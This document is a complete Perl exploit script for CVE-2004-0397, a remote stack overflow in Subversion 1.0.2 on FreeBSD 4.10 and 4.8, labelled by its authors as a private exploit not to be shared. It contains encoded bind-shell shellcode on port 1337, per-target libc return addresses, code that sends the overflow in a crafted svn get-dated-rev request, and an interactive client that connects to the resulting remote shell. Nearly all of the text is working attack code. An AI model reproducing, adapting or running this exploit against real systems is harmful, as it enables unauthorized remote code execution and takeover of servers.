#!/usr/bin/perl
#
# Private Exploit !!! 
# CVE-2004-0397 - Subversion 1.0.2 remote stack overflow exploit 
# for x86 freebsd 4.10 & 4.8 - perl version
#
# The original private exploit code was written in 2004 and was patched in 2026.
# Original code by : Antonius (w1sdom) - bluedragonsec.com - github.com/bluedragonsecurity
# run : perl exploit.pl <ip address> <port> <repo name> <target>
# e.g : 
# perl exploit.pl 192.168.0.1 3690 hackme 1
# perl exploit.pl 127.0.0.1 3690 repo123 2
#
# supported target(s) :
# - 1 = freebsd 4.10
# - 2 = freebsd 4.8
# (c) solhack 2002-now - all rights reserved

use Socket;

# 107 bytes private xor bind shell 1337 shellcode for x86 freebsd
# this shellcode is used in many of our private exploits
# (c) solhack - sons of liberty
my $code_freebsd =
"\xeb\x11\x5e\x31\xc9\xb1\x53\x80\x36\x03\x46\xe2\xfa\x83\xee" .
"\x53\xff\xe6\x90\xe8\xea\xff\xff\xff\x32\xc3\x9a\x53\x43\x53" .
"\x43\x53\x53\xb3\x62\xce\x83\x8a\xc5\x51\x6b\x02\x01\x06\x3a" .
"\x8a\xe2\x69\x13\x52\x55\x51\xb3\x6b\xce\x83\x51\x55\x51\xb3" .
"\x69\xce\x83\x51\x51\x55\x51\xb3\x1d\xce\x83\x8a\xc4\x69\x01" .
"\x5a\x52\x54\x51\xb3\x59\xce\x83\x4a\x7a\xf5\x51\x6b\x2c\x2c" .
"\x70\x6b\x6b\x2c\x61\x6a\x6d\x8a\xe0\x51\x51\x50\x51\xb3\x38" .
"\xce\x83";

sub banner {
    print
    "\n=====================================================\n" .
    "    CVE-2004-0397 - private rce exploit for x86 freebsd\n" .
    "    Subversion 1.0.2 remote stack overflow exploit     \n" .
    "    for x86 freebsd 4.10 & 4.8. - perl version         \n" .
    "    private exploit ! don't share !!!                  \n" .
    "    The original private exploit code was written in   \n" .
    "    2004 and was patched in 2026.                      \n" .
    "    code by : Antonius (w1sdom) - bluedragonsec.com    \n" .
    "    https://github.com/bluedragonsecurity              \n" .
    "    (c) solhack (solhack.ath.cx)- 2002-forever         \n" .
    "  =====================================================\n\n";
}

sub usage {
    print
    "\n\trun : perl exploit.pl <ip address> <port> <repo name> <target> \n" .
    "\te.g :                                                      \n" .
    "\tperl exploit.pl 192.168.0.1 3690 hackme 1                  \n" .
    "\tperl exploit.pl 127.0.0.1 3690 repo123 2                   \n" .
    "\t                                                           \n" .
    "\ttarget(s) :                                                \n" .
    "\t- 1 : freebsd 4.10                                         \n" .
    "\t- 2 : freebsd 4.8                                          \n\n";
}

sub shell {
    my ($ip, $port) = @_;
    $| = 1;   
    my $sa = sockaddr_in($port, inet_aton($ip));
    socket(my $s, AF_INET, SOCK_STREAM, 0) or return;
    if (!connect($s, $sa)) {
        print "[-] exploit failed !\n";
        return;
    }
    print "[*] connected to $ip:$port\n";
    print "# ";
    my $rin = '';
    while (1) {
        vec($rin, fileno($s), 1) = 1;
        vec($rin, fileno(STDIN), 1) = 1;
        select(my $rout = $rin, undef, undef, undef);
        if (vec($rout, fileno($s), 1)) {
            my $buf;
            my $n = sysread($s, $buf, 4096);
            last if $n <= 0;
            print $buf;
            print "# ";
        }
        if (vec($rout, fileno(STDIN), 1)) {
            my $buf;
            my $n = sysread(STDIN, $buf, 4096);
            last if $n <= 0;
            syswrite($s, $buf, $n);
        }
    }
    close($s);
}

banner();
if (@ARGV < 4) {
    usage();
    exit(1);
}
my ($ip, $port, $repo, $target_id) = @ARGV;
my $eip;
if ($target_id == 1) {
    #0x28244b91 -> libc.so.4 (freebsd 4.10) call esp
    $eip = pack('V', 0x28244b91);
} 
else {
    #0x281e86b3 -> libc.so.4 (freebsd 4.8) jmp edi
    $eip = pack('V', 0x281e86b3);
}
my $date = "\x90" x 60;
$date .= $eip;
$date .= "\x90" x 250;
substr($date, 70, length($code_freebsd)) = $code_freebsd;
if ($target_id == 2) {
    substr($date, 64+228, 2) = "\xff\xe4";
}
$date = substr($date, 0, 314);
my $tmp;
my $sa = sockaddr_in($port, inet_aton($ip));
socket(my $s, AF_INET, SOCK_STREAM, 0) or die "[-] socket failed\n";
connect($s, $sa) or die "[-] connect failed\n";
sysread($s, $tmp, 512);
my $url = "svn://$ip/$repo";
my $n = length($url);
my $req = "( 2 ( edit-pipeline ) $n:$url )\n";
syswrite($s, $req, length($req));
sysread($s, $tmp, 512);
syswrite($s, "( ANONYMOUS ( 0: ) )\n", 21);
sysread($s, $tmp, 512);
$req = "( get-dated-rev ( 314:" . substr($date, 0, 314) . " ) )\n";
syswrite($s, $req, length($req));
close($s);
print "[+] sent\n";
print "[!] please wait ...\n";
sleep(1);
shell($ip, 1337);
